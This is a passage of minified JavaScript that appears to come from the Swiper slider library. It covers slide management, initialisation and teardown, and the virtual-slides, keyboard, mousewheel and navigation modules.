").filter((t=>0===t.indexOf("swiper")||0===t.indexOf(e.params.containerModifierClass)));e.emit("_containerClasses",t.join(" "))}getSlideClasses(e){const t=this;return t.destroyed?"":e.className.split(" ").filter((e=>0===e.indexOf("swiper-slide")||0===e.indexOf(t.params.slideClass))).join(" ")}emitSlidesClasses(){const e=this;if(!e.params._emitClasses||!e.el)return;const t=[];e.slides.forEach((n=>{const i=e.getSlideClasses(n);t.push({slideEl:n,classNames:i}),e.emit("_slideClass",n,i)})),e.emit("_slideClasses",t)}slidesPerViewDynamic(e,t){void 0===e&&(e="current"),void 0===t&&(t=!1);const{params:n,slides:i,slidesGrid:r,slidesSizesGrid:s,size:o,activeIndex:a}=this;let l=1;if("number"==typeof n.slidesPerView)return n.slidesPerView;if(n.centeredSlides){let e,t=i[a]?i[a].swiperSlideSize:0;for(let n=a+1;n<i.length;n+=1)i[n]&&!e&&(t+=i[n].swiperSlideSize,l+=1,t>o&&(e=!0));for(let n=a-1;n>=0;n-=1)i[n]&&!e&&(t+=i[n].swiperSlideSize,l+=1,t>o&&(e=!0))}else if("current"===e)for(let e=a+1;e<i.length;e+=1)(t?r[e]+s[e]-r[a]<o:r[e]-r[a]<o)&&(l+=1);else for(let e=a-1;e>=0;e-=1)r[a]-r[e]<o&&(l+=1);return l}update(){const e=this;if(!e||e.destroyed)return;const{snapGrid:t,params:n}=e;function i(){const t=e.rtlTranslate?-1*e.translate:e.translate,n=Math.min(Math.max(t,e.maxTranslate()),e.minTranslate());e.setTranslate(n),e.updateActiveIndex(),e.updateSlidesClasses()}let r;if(n.breakpoints&&e.setBreakpoint(),[...e.el.querySelectorAll('[loading="lazy"]')].forEach((t=>{t.complete&&P(e,t)})),e.updateSize(),e.updateSlides(),e.updateProgress(),e.updateSlidesClasses(),n.freeMode&&n.freeMode.enabled&&!n.cssMode)i(),n.autoHeight&&e.updateAutoHeight();else{if(("auto"===n.slidesPerView||n.slidesPerView>1)&&e.isEnd&&!n.centeredSlides){const t=e.virtual&&n.virtual.enabled?e.virtual.slides:e.slides;r=e.slideTo(t.length-1,0,!1,!0)}else r=e.slideTo(e.activeIndex,0,!1,!0);r||i()}n.watchOverflow&&t!==e.snapGrid&&e.checkOverflow(),e.emit("update")}changeDirection(e,t){void 0===t&&(t=!0);const n=this,i=n.params.direction;return e||(e="horizontal"===i?"vertical":"horizontal"),e===i||"horizontal"!==e&&"vertical"!==e||(n.el.classList.remove(`${n.params.containerModifierClass}${i}`),n.el.classList.add(`${n.params.containerModifierClass}${e}`),n.emitContainerClasses(),n.params.direction=e,n.slides.forEach((t=>{"vertical"===e?t.style.width="":t.style.height=""})),n.emit("changeDirection"),t&&n.update()),n}changeLanguageDirection(e){const t=this;t.rtl&&"rtl"===e||!t.rtl&&"ltr"===e||(t.rtl="rtl"===e,t.rtlTranslate="horizontal"===t.params.direction&&t.rtl,t.rtl?(t.el.classList.add(`${t.params.containerModifierClass}rtl`),t.el.dir="rtl"):(t.el.classList.remove(`${t.params.containerModifierClass}rtl`),t.el.dir="ltr"),t.update())}mount(e){const t=this;if(t.mounted)return!0;let n=e||t.params.el;if("string"==typeof n&&(n=document.querySelector(n)),!n)return!1;n.swiper=t,n.parentNode&&n.parentNode.host&&"SWIPER-CONTAINER"===n.parentNode.host.nodeName&&(t.isElement=!0);const i=()=>`.${(t.params.wrapperClass||"").trim().split(" ").join(".")}`;let r=n&&n.shadowRoot&&n.shadowRoot.querySelector?n.shadowRoot.querySelector(i()):m(n,i())[0];return!r&&t.params.createElements&&(r=v("div",t.params.wrapperClass),n.append(r),m(n,`.${t.params.slideClass}`).forEach((e=>{r.append(e)}))),Object.assign(t,{el:n,wrapperEl:r,slidesEl:t.isElement&&!n.parentNode.host.slideSlots?n.parentNode.host:r,hostEl:t.isElement?n.parentNode.host:n,mounted:!0,rtl:"rtl"===n.dir.toLowerCase()||"rtl"===b(n,"direction"),rtlTranslate:"horizontal"===t.params.direction&&("rtl"===n.dir.toLowerCase()||"rtl"===b(n,"direction")),wrongRTL:"-webkit-box"===b(r,"display")}),!0}init(e){const t=this;if(t.initialized)return t;if(!1===t.mount(e))return t;t.emit("beforeInit"),t.params.breakpoints&&t.setBreakpoint(),t.addClasses(),t.updateSize(),t.updateSlides(),t.params.watchOverflow&&t.checkOverflow(),t.params.grabCursor&&t.enabled&&t.setGrabCursor(),t.params.loop&&t.virtual&&t.params.virtual.enabled?t.slideTo(t.params.initialSlide+t.virtual.slidesBefore,0,t.params.runCallbacksOnInit,!1,!0):t.slideTo(t.params.initialSlide,0,t.params.runCallbacksOnInit,!1,!0),t.params.loop&&t.loopCreate(),t.attachEvents();const n=[...t.el.querySelectorAll('[loading="lazy"]')];return t.isElement&&n.push(...t.hostEl.querySelectorAll('[loading="lazy"]')),n.forEach((e=>{e.complete?P(t,e):e.addEventListener("load",(e=>{P(t,e.target)}))})),D(t),t.initialized=!0,D(t),t.emit("init"),t.emit("afterInit"),t}destroy(e,t){void 0===e&&(e=!0),void 0===t&&(t=!0);const n=this,{params:i,el:r,wrapperEl:s,slides:o}=n;return void 0===n.params||n.destroyed||(n.emit("beforeDestroy"),n.initialized=!1,n.detachEvents(),i.loop&&n.loopDestroy(),t&&(n.removeClasses(),r.removeAttribute("style"),s.removeAttribute("style"),o&&o.length&&o.forEach((e=>{e.classList.remove(i.slideVisibleClass,i.slideFullyVisibleClass,i.slideActiveClass,i.slideNextClass,i.slidePrevClass),e.removeAttribute("style"),e.removeAttribute("data-swiper-slide-index")}))),n.emit("destroy"),Object.keys(n.eventsListeners).forEach((e=>{n.off(e)})),!1!==e&&(n.el.swiper=null,function(e){const t=e;Object.keys(t).forEach((e=>{try{t[e]=null}catch(e){}try{delete t[e]}catch(e){}}))}(n)),n.destroyed=!0),null}static extendDefaults(e){d(J,e)}static get extendedDefaults(){return J}static get defaults(){return Z}static installModule(e){ee.prototype.__modules__||(ee.prototype.__modules__=[]);const t=ee.prototype.__modules__;"function"==typeof e&&t.indexOf(e)<0&&t.push(e)}static use(e){return Array.isArray(e)?(e.forEach((e=>ee.installModule(e))),ee):(ee.installModule(e),ee)}}function te(e,t,n,i){return e.params.createElements&&Object.keys(i).forEach((r=>{if(!n[r]&&!0===n.auto){let s=m(e.el,`.${i[r]}`)[0];s||(s=v("div",i[r]),s.className=i[r],e.el.append(s)),n[r]=s,t[r]=s}})),n}function ne(e){return void 0===e&&(e=""),`.${e.trim().replace(/([\.:!+\/])/g,"\\$1").replace(/ /g,".")}`}function ie(e){const t=this,{params:n,slidesEl:i}=t;n.loop&&t.loopDestroy();const r=e=>{if("string"==typeof e){const t=document.createElement("div");t.innerHTML=e,i.append(t.children[0]),t.innerHTML=""}else i.append(e)};if("object"==typeof e&&"length"in e)for(let t=0;t<e.length;t+=1)e[t]&&r(e[t]);else r(e);t.recalcSlides(),n.loop&&t.loopCreate(),n.observer&&!t.isElement||t.update()}function re(e){const t=this,{params:n,activeIndex:i,slidesEl:r}=t;n.loop&&t.loopDestroy();let s=i+1;const o=e=>{if("string"==typeof e){const t=document.createElement("div");t.innerHTML=e,r.prepend(t.children[0]),t.innerHTML=""}else r.prepend(e)};if("object"==typeof e&&"length"in e){for(let t=0;t<e.length;t+=1)e[t]&&o(e[t]);s=i+e.length}else o(e);t.recalcSlides(),n.loop&&t.loopCreate(),n.observer&&!t.isElement||t.update(),t.slideTo(s,0,!1)}function se(e,t){const n=this,{params:i,activeIndex:r,slidesEl:s}=n;let o=r;i.loop&&(o-=n.loopedSlides,n.loopDestroy(),n.recalcSlides());const a=n.slides.length;if(e<=0)return void n.prependSlide(t);if(e>=a)return void n.appendSlide(t);let l=o>e?o+1:o;const c=[];for(let t=a-1;t>=e;t-=1){const e=n.slides[t];e.remove(),c.unshift(e)}if("object"==typeof t&&"length"in t){for(let e=0;e<t.length;e+=1)t[e]&&s.append(t[e]);l=o>e?o+t.length:o}else s.append(t);for(let e=0;e<c.length;e+=1)s.append(c[e]);n.recalcSlides(),i.loop&&n.loopCreate(),i.observer&&!n.isElement||n.update(),i.loop?n.slideTo(l+n.loopedSlides,0,!1):n.slideTo(l,0,!1)}function oe(e){const t=this,{params:n,activeIndex:i}=t;let r=i;n.loop&&(r-=t.loopedSlides,t.loopDestroy());let s,o=r;if("object"==typeof e&&"length"in e){for(let n=0;n<e.length;n+=1)s=e[n],t.slides[s]&&t.slides[s].remove(),s<o&&(o-=1);o=Math.max(o,0)}else s=e,t.slides[s]&&t.slides[s].remove(),s<o&&(o-=1),o=Math.max(o,0);t.recalcSlides(),n.loop&&t.loopCreate(),n.observer&&!t.isElement||t.update(),n.loop?t.slideTo(o+t.loopedSlides,0,!1):t.slideTo(o,0,!1)}function ae(){const e=this,t=[];for(let n=0;n<e.slides.length;n+=1)t.push(n);e.removeSlide(t)}function le(e){const{effect:t,swiper:n,on:i,setTranslate:r,setTransition:s,overwriteParams:o,perspective:a,recreateShadows:l,getEffectParams:c}=e;let u;i("beforeInit",(()=>{if(n.params.effect!==t)return;n.classNames.push(`${n.params.containerModifierClass}${t}`),a&&a()&&n.classNames.push(`${n.params.containerModifierClass}3d`);const e=o?o():{};Object.assign(n.params,e),Object.assign(n.originalParams,e)})),i("setTranslate",(()=>{n.params.effect===t&&r()})),i("setTransition",((e,i)=>{n.params.effect===t&&s(i)})),i("transitionEnd",(()=>{if(n.params.effect===t&&l){if(!c||!c().slideShadows)return;n.slides.forEach((e=>{e.querySelectorAll(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").forEach((e=>e.remove()))})),l()}})),i("virtualUpdate",(()=>{n.params.effect===t&&(n.slides.length||(u=!0),requestAnimationFrame((()=>{u&&n.slides&&n.slides.length&&(r(),u=!1)})))}))}function ce(e,t){const n=f(t);return n!==t&&(n.style.backfaceVisibility="hidden",n.style["-webkit-backface-visibility"]="hidden"),n}function ue(e){let{swiper:t,duration:n,transformElements:i,allSlides:r}=e;const{activeIndex:s}=t;if(t.params.virtualTranslate&&0!==n){let e,n=!1;e=r?i:i.filter((e=>{const n=e.classList.contains("swiper-slide-transform")?(e=>e.parentElement?e.parentElement:t.slides.filter((t=>t.shadowRoot&&t.shadowRoot===e.parentNode))[0])(e):e;return t.getSlideIndex(n)===s})),e.forEach((e=>{x(e,(()=>{if(n)return;if(!t||t.destroyed)return;n=!0,t.animating=!1;const e=new window.CustomEvent("transitionend",{bubbles:!0,cancelable:!0});t.wrapperEl.dispatchEvent(e)}))}))}}function de(e,t,n){const i=`swiper-slide-shadow${n?`-${n}`:""}${e?` swiper-slide-shadow-${e}`:""}`,r=f(t);let s=r.querySelector(`.${i.split(" ").join(".")}`);return s||(s=v("div",i.split(" ")),r.append(s)),s}Object.keys(Q).forEach((e=>{Object.keys(Q[e]).forEach((t=>{ee.prototype[t]=Q[e][t]}))})),ee.use([function(e){let{swiper:t,on:n,emit:i}=e;const r=s();let o=null,a=null;const l=()=>{t&&!t.destroyed&&t.initialized&&(i("beforeResize"),i("resize"))},c=()=>{t&&!t.destroyed&&t.initialized&&i("orientationchange")};n("init",(()=>{t.params.resizeObserver&&void 0!==r.ResizeObserver?t&&!t.destroyed&&t.initialized&&(o=new ResizeObserver((e=>{a=r.requestAnimationFrame((()=>{const{width:n,height:i}=t;let r=n,s=i;e.forEach((e=>{let{contentBoxSize:n,contentRect:i,target:o}=e;o&&o!==t.el||(r=i?i.width:(n[0]||n).inlineSize,s=i?i.height:(n[0]||n).blockSize)})),r===n&&s===i||l()}))})),o.observe(t.el)):(r.addEventListener("resize",l),r.addEventListener("orientationchange",c))})),n("destroy",(()=>{a&&r.cancelAnimationFrame(a),o&&o.unobserve&&t.el&&(o.unobserve(t.el),o=null),r.removeEventListener("resize",l),r.removeEventListener("orientationchange",c)}))},function(e){let{swiper:t,extendParams:n,on:i,emit:r}=e;const o=[],a=s(),l=function(e,n){void 0===n&&(n={});const i=new(a.MutationObserver||a.WebkitMutationObserver)((e=>{if(t.__preventObserver__)return;if(1===e.length)return void r("observerUpdate",e[0]);const n=function(){r("observerUpdate",e[0])};a.requestAnimationFrame?a.requestAnimationFrame(n):a.setTimeout(n,0)}));i.observe(e,{attributes:void 0===n.attributes||n.attributes,childList:void 0===n.childList||n.childList,characterData:void 0===n.characterData||n.characterData}),o.push(i)};n({observer:!1,observeParents:!1,observeSlideChildren:!1}),i("init",(()=>{if(t.params.observer){if(t.params.observeParents){const e=_(t.hostEl);for(let t=0;t<e.length;t+=1)l(e[t])}l(t.hostEl,{childList:t.params.observeSlideChildren}),l(t.wrapperEl,{attributes:!1})}})),i("destroy",(()=>{o.forEach((e=>{e.disconnect()})),o.splice(0,o.length)}))}]);const pe=[function(e){let t,{swiper:n,extendParams:r,on:s,emit:o}=e;r({virtual:{enabled:!1,slides:[],cache:!0,renderSlide:null,renderExternal:null,renderExternalUpdate:!0,addSlidesBefore:0,addSlidesAfter:0}});const a=i();n.virtual={cache:{},from:void 0,to:void 0,slides:[],offset:0,slidesGrid:[]};const l=a.createElement("div");function c(e,t){const i=n.params.virtual;if(i.cache&&n.virtual.cache[t])return n.virtual.cache[t];let r;return i.renderSlide?(r=i.renderSlide.call(n,e,t),"string"==typeof r&&(l.innerHTML=r,r=l.children[0])):r=n.isElement?v("swiper-slide"):v("div",n.params.slideClass),r.setAttribute("data-swiper-slide-index",t),i.renderSlide||(r.innerHTML=e),i.cache&&(n.virtual.cache[t]=r),r}function u(e){const{slidesPerView:t,slidesPerGroup:i,centeredSlides:r,loop:s}=n.params,{addSlidesBefore:a,addSlidesAfter:l}=n.params.virtual,{from:u,to:d,slides:p,slidesGrid:h,offset:f}=n.virtual;n.params.cssMode||n.updateActiveIndex();const g=n.activeIndex||0;let v,y,b;v=n.rtlTranslate?"right":n.isHorizontal()?"left":"top",r?(y=Math.floor(t/2)+i+l,b=Math.floor(t/2)+i+a):(y=t+(i-1)+l,b=(s?t:i)+a);let w=g-b,_=g+y;s||(w=Math.max(w,0),_=Math.min(_,p.length-1));let x=(n.slidesGrid[w]||0)-(n.slidesGrid[0]||0);function T(){n.updateSlides(),n.updateProgress(),n.updateSlidesClasses(),o("virtualUpdate")}if(s&&g>=b?(w-=b,r||(x+=n.slidesGrid[0])):s&&g<b&&(w=-b,r&&(x+=n.slidesGrid[0])),Object.assign(n.virtual,{from:w,to:_,offset:x,slidesGrid:n.slidesGrid,slidesBefore:b,slidesAfter:y}),u===w&&d===_&&!e)return n.slidesGrid!==h&&x!==f&&n.slides.forEach((e=>{e.style[v]=x-Math.abs(n.cssOverflowAdjustment())+"px"})),n.updateProgress(),void o("virtualUpdate");if(n.params.virtual.renderExternal)return n.params.virtual.renderExternal.call(n,{offset:x,from:w,to:_,slides:function(){const e=[];for(let t=w;t<=_;t+=1)e.push(p[t]);return e}()}),void(n.params.virtual.renderExternalUpdate?T():o("virtualUpdate"));const E=[],S=[],C=e=>{let t=e;return e<0?t=p.length+e:t>=p.length&&(t-=p.length),t};if(e)n.slides.filter((e=>e.matches(`.${n.params.slideClass}, swiper-slide`))).forEach((e=>{e.remove()}));else for(let e=u;e<=d;e+=1)if(e<w||e>_){const t=C(e);n.slides.filter((e=>e.matches(`.${n.params.slideClass}[data-swiper-slide-index="${t}"], swiper-slide[data-swiper-slide-index="${t}"]`))).forEach((e=>{e.remove()}))}const M=s?-p.length:0,k=s?2*p.length:p.length;for(let t=M;t<k;t+=1)if(t>=w&&t<=_){const n=C(t);void 0===d||e?S.push(n):(t>d&&S.push(n),t<u&&E.push(n))}if(S.forEach((e=>{n.slidesEl.append(c(p[e],e))})),s)for(let e=E.length-1;e>=0;e-=1){const t=E[e];n.slidesEl.prepend(c(p[t],t))}else E.sort(((e,t)=>t-e)),E.forEach((e=>{n.slidesEl.prepend(c(p[e],e))}));m(n.slidesEl,".swiper-slide, swiper-slide").forEach((e=>{e.style[v]=x-Math.abs(n.cssOverflowAdjustment())+"px"})),T()}s("beforeInit",(()=>{if(!n.params.virtual.enabled)return;let e;if(void 0===n.passedParams.virtual.slides){const t=[...n.slidesEl.children].filter((e=>e.matches(`.${n.params.slideClass}, swiper-slide`)));t&&t.length&&(n.virtual.slides=[...t],e=!0,t.forEach(((e,t)=>{e.setAttribute("data-swiper-slide-index",t),n.virtual.cache[t]=e,e.remove()})))}e||(n.virtual.slides=n.params.virtual.slides),n.classNames.push(`${n.params.containerModifierClass}virtual`),n.params.watchSlidesProgress=!0,n.originalParams.watchSlidesProgress=!0,u()})),s("setTranslate",(()=>{n.params.virtual.enabled&&(n.params.cssMode&&!n._immediateVirtual?(clearTimeout(t),t=setTimeout((()=>{u()}),100)):u())})),s("init update resize",(()=>{n.params.virtual.enabled&&n.params.cssMode&&p(n.wrapperEl,"--swiper-virtual-size",`${n.virtualSize}px`)})),Object.assign(n.virtual,{appendSlide:function(e){if("object"==typeof e&&"length"in e)for(let t=0;t<e.length;t+=1)e[t]&&n.virtual.slides.push(e[t]);else n.virtual.slides.push(e);u(!0)},prependSlide:function(e){const t=n.activeIndex;let i=t+1,r=1;if(Array.isArray(e)){for(let t=0;t<e.length;t+=1)e[t]&&n.virtual.slides.unshift(e[t]);i=t+e.length,r=e.length}else n.virtual.slides.unshift(e);if(n.params.virtual.cache){const e=n.virtual.cache,t={};Object.keys(e).forEach((n=>{const i=e[n],s=i.getAttribute("data-swiper-slide-index");s&&i.setAttribute("data-swiper-slide-index",parseInt(s,10)+r),t[parseInt(n,10)+r]=i})),n.virtual.cache=t}u(!0),n.slideTo(i,0)},removeSlide:function(e){if(null==e)return;let t=n.activeIndex;if(Array.isArray(e))for(let i=e.length-1;i>=0;i-=1)n.params.virtual.cache&&(delete n.virtual.cache[e[i]],Object.keys(n.virtual.cache).forEach((t=>{t>e&&(n.virtual.cache[t-1]=n.virtual.cache[t],n.virtual.cache[t-1].setAttribute("data-swiper-slide-index",t-1),delete n.virtual.cache[t])}))),n.virtual.slides.splice(e[i],1),e[i]<t&&(t-=1),t=Math.max(t,0);else n.params.virtual.cache&&(delete n.virtual.cache[e],Object.keys(n.virtual.cache).forEach((t=>{t>e&&(n.virtual.cache[t-1]=n.virtual.cache[t],n.virtual.cache[t-1].setAttribute("data-swiper-slide-index",t-1),delete n.virtual.cache[t])}))),n.virtual.slides.splice(e,1),e<t&&(t-=1),t=Math.max(t,0);u(!0),n.slideTo(t,0)},removeAllSlides:function(){n.virtual.slides=[],n.params.virtual.cache&&(n.virtual.cache={}),u(!0),n.slideTo(0,0)},update:u})},function(e){let{swiper:t,extendParams:n,on:r,emit:o}=e;const a=i(),l=s();function c(e){if(!t.enabled)return;const{rtlTranslate:n}=t;let i=e;i.originalEvent&&(i=i.originalEvent);const r=i.keyCode||i.charCode,s=t.params.keyboard.pageUpDown,c=s&&33===r,u=s&&34===r,d=37===r,p=39===r,h=38===r,f=40===r;if(!t.allowSlideNext&&(t.isHorizontal()&&p||t.isVertical()&&f||u))return!1;if(!t.allowSlidePrev&&(t.isHorizontal()&&d||t.isVertical()&&h||c))return!1;if(!(i.shiftKey||i.altKey||i.ctrlKey||i.metaKey||a.activeElement&&a.activeElement.nodeName&&("input"===a.activeElement.nodeName.toLowerCase()||"textarea"===a.activeElement.nodeName.toLowerCase()))){if(t.params.keyboard.onlyInViewport&&(c||u||d||p||h||f)){let e=!1;if(_(t.el,`.${t.params.slideClass}, swiper-slide`).length>0&&0===_(t.el,`.${t.params.slideActiveClass}`).length)return;const i=t.el,r=i.clientWidth,s=i.clientHeight,o=l.innerWidth,a=l.innerHeight,c=y(i);n&&(c.left-=i.scrollLeft);const u=[[c.left,c.top],[c.left+r,c.top],[c.left,c.top+s],[c.left+r,c.top+s]];for(let t=0;t<u.length;t+=1){const n=u[t];if(n[0]>=0&&n[0]<=o&&n[1]>=0&&n[1]<=a){if(0===n[0]&&0===n[1])continue;e=!0}}if(!e)return}t.isHorizontal()?((c||u||d||p)&&(i.preventDefault?i.preventDefault():i.returnValue=!1),((u||p)&&!n||(c||d)&&n)&&t.slideNext(),((c||d)&&!n||(u||p)&&n)&&t.slidePrev()):((c||u||h||f)&&(i.preventDefault?i.preventDefault():i.returnValue=!1),(u||f)&&t.slideNext(),(c||h)&&t.slidePrev()),o("keyPress",r)}}function u(){t.keyboard.enabled||(a.addEventListener("keydown",c),t.keyboard.enabled=!0)}function d(){t.keyboard.enabled&&(a.removeEventListener("keydown",c),t.keyboard.enabled=!1)}t.keyboard={enabled:!1},n({keyboard:{enabled:!1,onlyInViewport:!0,pageUpDown:!0}}),r("init",(()=>{t.params.keyboard.enabled&&u()})),r("destroy",(()=>{t.keyboard.enabled&&d()})),Object.assign(t.keyboard,{enable:u,disable:d})},function(e){let{swiper:t,extendParams:n,on:i,emit:r}=e;const o=s();let c;n({mousewheel:{enabled:!1,releaseOnEdges:!1,invert:!1,forceToAxis:!1,sensitivity:1,eventsTarget:"container",thresholdDelta:null,thresholdTime:null,noMousewheelClass:"swiper-no-mousewheel"}}),t.mousewheel={enabled:!1};let u,d=l();const p=[];function h(){t.enabled&&(t.mouseEntered=!0)}function f(){t.enabled&&(t.mouseEntered=!1)}function m(e){return!(t.params.mousewheel.thresholdDelta&&e.delta<t.params.mousewheel.thresholdDelta||t.params.mousewheel.thresholdTime&&l()-d<t.params.mousewheel.thresholdTime||!(e.delta>=6&&l()-d<60)&&(e.direction<0?t.isEnd&&!t.params.loop||t.animating||(t.slideNext(),r("scroll",e.raw)):t.isBeginning&&!t.params.loop||t.animating||(t.slidePrev(),r("scroll",e.raw)),d=(new o.Date).getTime(),1))}function g(e){let n=e,i=!0;if(!t.enabled)return;if(e.target.closest(`.${t.params.mousewheel.noMousewheelClass}`))return;const s=t.params.mousewheel;t.params.cssMode&&n.preventDefault();let o=t.el;"container"!==t.params.mousewheel.eventsTarget&&(o=document.querySelector(t.params.mousewheel.eventsTarget));const d=o&&o.contains(n.target);if(!t.mouseEntered&&!d&&!s.releaseOnEdges)return!0;n.originalEvent&&(n=n.originalEvent);let h=0;const f=t.rtlTranslate?-1:1,g=function(e){let t=0,n=0,i=0,r=0;return"detail"in e&&(n=e.detail),"wheelDelta"in e&&(n=-e.wheelDelta/120),"wheelDeltaY"in e&&(n=-e.wheelDeltaY/120),"wheelDeltaX"in e&&(t=-e.wheelDeltaX/120),"axis"in e&&e.axis===e.HORIZONTAL_AXIS&&(t=n,n=0),i=10*t,r=10*n,"deltaY"in e&&(r=e.deltaY),"deltaX"in e&&(i=e.deltaX),e.shiftKey&&!i&&(i=r,r=0),(i||r)&&e.deltaMode&&(1===e.deltaMode?(i*=40,r*=40):(i*=800,r*=800)),i&&!t&&(t=i<1?-1:1),r&&!n&&(n=r<1?-1:1),{spinX:t,spinY:n,pixelX:i,pixelY:r}}(n);if(s.forceToAxis)if(t.isHorizontal()){if(!(Math.abs(g.pixelX)>Math.abs(g.pixelY)))return!0;h=-g.pixelX*f}else{if(!(Math.abs(g.pixelY)>Math.abs(g.pixelX)))return!0;h=-g.pixelY}else h=Math.abs(g.pixelX)>Math.abs(g.pixelY)?-g.pixelX*f:-g.pixelY;if(0===h)return!0;s.invert&&(h=-h);let v=t.getTranslate()+h*s.sensitivity;if(v>=t.minTranslate()&&(v=t.minTranslate()),v<=t.maxTranslate()&&(v=t.maxTranslate()),i=!!t.params.loop||!(v===t.minTranslate()||v===t.maxTranslate()),i&&t.params.nested&&n.stopPropagation(),t.params.freeMode&&t.params.freeMode.enabled){const e={time:l(),delta:Math.abs(h),direction:Math.sign(h)},i=u&&e.time<u.time+500&&e.delta<=u.delta&&e.direction===u.direction;if(!i){u=void 0;let o=t.getTranslate()+h*s.sensitivity;const l=t.isBeginning,d=t.isEnd;if(o>=t.minTranslate()&&(o=t.minTranslate()),o<=t.maxTranslate()&&(o=t.maxTranslate()),t.setTransition(0),t.setTranslate(o),t.updateProgress(),t.updateActiveIndex(),t.updateSlidesClasses(),(!l&&t.isBeginning||!d&&t.isEnd)&&t.updateSlidesClasses(),t.params.loop&&t.loopFix({direction:e.direction<0?"next":"prev",byMousewheel:!0}),t.params.freeMode.sticky){clearTimeout(c),c=void 0,p.length>=15&&p.shift();const n=p.length?p[p.length-1]:void 0,i=p[0];if(p.push(e),n&&(e.delta>n.delta||e.direction!==n.direction))p.splice(0);else if(p.length>=15&&e.time-i.time<500&&i.delta-e.delta>=1&&e.delta<=6){const n=h>0?.8:.2;u=e,p.splice(0),c=a((()=>{t.slideToClosest(t.params.speed,!0,void 0,n)}),0)}c||(c=a((()=>{u=e,p.splice(0),t.slideToClosest(t.params.speed,!0,void 0,.5)}),500))}if(i||r("scroll",n),t.params.autoplay&&t.params.autoplayDisableOnInteraction&&t.autoplay.stop(),s.releaseOnEdges&&(o===t.minTranslate()||o===t.maxTranslate()))return!0}}else{const n={time:l(),delta:Math.abs(h),direction:Math.sign(h),raw:e};p.length>=2&&p.shift();const i=p.length?p[p.length-1]:void 0;if(p.push(n),i?(n.direction!==i.direction||n.delta>i.delta||n.time>i.time+150)&&m(n):m(n),function(e){const n=t.params.mousewheel;if(e.direction<0){if(t.isEnd&&!t.params.loop&&n.releaseOnEdges)return!0}else if(t.isBeginning&&!t.params.loop&&n.releaseOnEdges)return!0;return!1}(n))return!0}return n.preventDefault?n.preventDefault():n.returnValue=!1,!1}function v(e){let n=t.el;"container"!==t.params.mousewheel.eventsTarget&&(n=document.querySelector(t.params.mousewheel.eventsTarget)),n[e]("mouseenter",h),n[e]("mouseleave",f),n[e]("wheel",g)}function y(){return t.params.cssMode?(t.wrapperEl.removeEventListener("wheel",g),!0):!t.mousewheel.enabled&&(v("addEventListener"),t.mousewheel.enabled=!0,!0)}function b(){return t.params.cssMode?(t.wrapperEl.addEventListener(event,g),!0):!!t.mousewheel.enabled&&(v("removeEventListener"),t.mousewheel.enabled=!1,!0)}i("init",(()=>{!t.params.mousewheel.enabled&&t.params.cssMode&&b(),t.params.mousewheel.enabled&&y()})),i("destroy",(()=>{t.params.cssMode&&y(),t.mousewheel.enabled&&b()})),Object.assign(t.mousewheel,{enable:y,disable:b})},function(e){let{swiper:t,extendParams:n,on:i,emit:r}=e;n({navigation:{nextEl:null,prevEl:null,hideOnClick:!1,disabledClass:"swiper-button-disabled",hiddenClass:"swiper-button-hidden",lockClass:"swiper-button-lock",navigationDisabledClass:"swiper-navigation-disabled"}}),t.navigation={nextEl:null,prevEl:null};const s=e=>(Array.isArray(e)?e:[e]).filter((e=>!!e));function o(e){let n;return e&&"string"==typeof e&&t.isElement&&(n=t.el.querySelector(e),n)?n:(e&&("string"==typeof e&&(n=[...document.querySelectorAll(e)]),t.params.uniqueNavElements&&"string"==typeof e&&n.length>1&&1===t.el.querySelectorAll(e).length&&(n=t.el.querySelector(e))),e&&!n?e:n)}function a(e,n){const i=t.params.navigation;(e=s(e)).forEach((e=>{e&&(e.classList[n?"add":"remove"](...i.disabledClass.split(" ")),"BUTTON"===e.tagName&&(e.disabled=n),t.params.watchOverflow&&t.enabled&&e.classList[t.isLocked?"add":"remove"](i.lockClass))}))}function l(){const{nextEl:e,prevEl:n}=t.navigation;if(t.params.loop)return a(n,!1),void a(e,!1);a(n,t.isBeginning&&!t.params.rewind),a(e,t.isEnd&&!t.params.rewind)}function c(e){e.preventDefault(),(!t.isBeginning||t.params.loop||t.params.rewind)&&(t.slidePrev(),r("navigationPrev"))}function u(e){e.preventDefault(),(!t.isEnd||t.params.loop||t.params.rewind)&&(t.slideNext(),r("navigationNext"))}function d(){const e=t.params.navigation;if(t.params.navigation=te(t,t.originalParams.navigation,t.params.navigation,{nextEl:"swiper-button-next",prevEl:"swiper-button-prev"}),!e.nextEl&&!e.prevEl)return;let n=o(e.nextEl),i=o(e.prevEl);Object.assign(t.navigation,{nextEl:n,prevEl:i}),n=s(n),i=s(i);const r=(n,i)=>{n&&n.addEventListener("click","next"===i?u:c),!t.enabled&&n&&n.classList.add(...e.lockClass.split(" "))};n.forEach((e=>r(e,"next"))),i.forEach((e=>r(e,"prev")))}function p(){let{nextEl:e,prevEl:n}=t.navigation;e=s(e),n=s(n);const i=(e,n)=>{e.removeEventListener("click","next"===n?u:c),e.classList.remove(...t.params.navigation.disabledClass.split(" "))};e.forEach((e=>i(e,"next"))),n.forEach((e=>i(e,"prev")))}i("init",(()=>{!1===t.params.navigation.enabled?h():(d(),l())})),i("toEdge fromEdge lock unlock",(()=>{l()})),i("destroy",(()=>{p()})),i("enable disable",(()=>{let{nextEl:e,prevEl:n}=t.navigation;e=s(e),n=s(n),t.enabled?l():[...e,...n].filter((e=>!!e)).forEach((e=>e.classList.add(t.params.navigation.lockClass)))})),i("click",((e,n)=>{let{nextEl:i,prevEl:o}=t.navigation;i=s(i),o=s(o);const a=n.target;if(t.params.navigation.hideOnClick&&!o.includes(a)&&!i.includes(a)){if(t.pagination&&t.params.pagination&&t.params.pagination.clickable&&(t.pagination.el===a||t.pagination.el.contains(a)))return;let e;i.length?e=i[0].classList.contains(t.params.navigation.hiddenClass):o.length&&(e=o[0].classList.contains(t.params.navigation.hiddenClass)),r(!0===e?"navigationShow":"navigationHide"),[...i,...o].filter((e=>!!e)).forEach((e=>e.classList.toggle(t.params.navigation.hiddenClass)))}}));const h=()=>{t.el.classList.add(...t.params.navigation.navigationDisabledClass.split(" ")),p()};Object.assign(t.navigation,{enable:()=>{t.el.classList.remove(...t.params.navigation.navigationDisabledClass.split(" ")),d(),l()},disable:h,update:l,init:d,destroy:p})},function(e){let{swiper:t,extendParams:n,on:i,emit:r}=e;const s="swiper-pagination";let 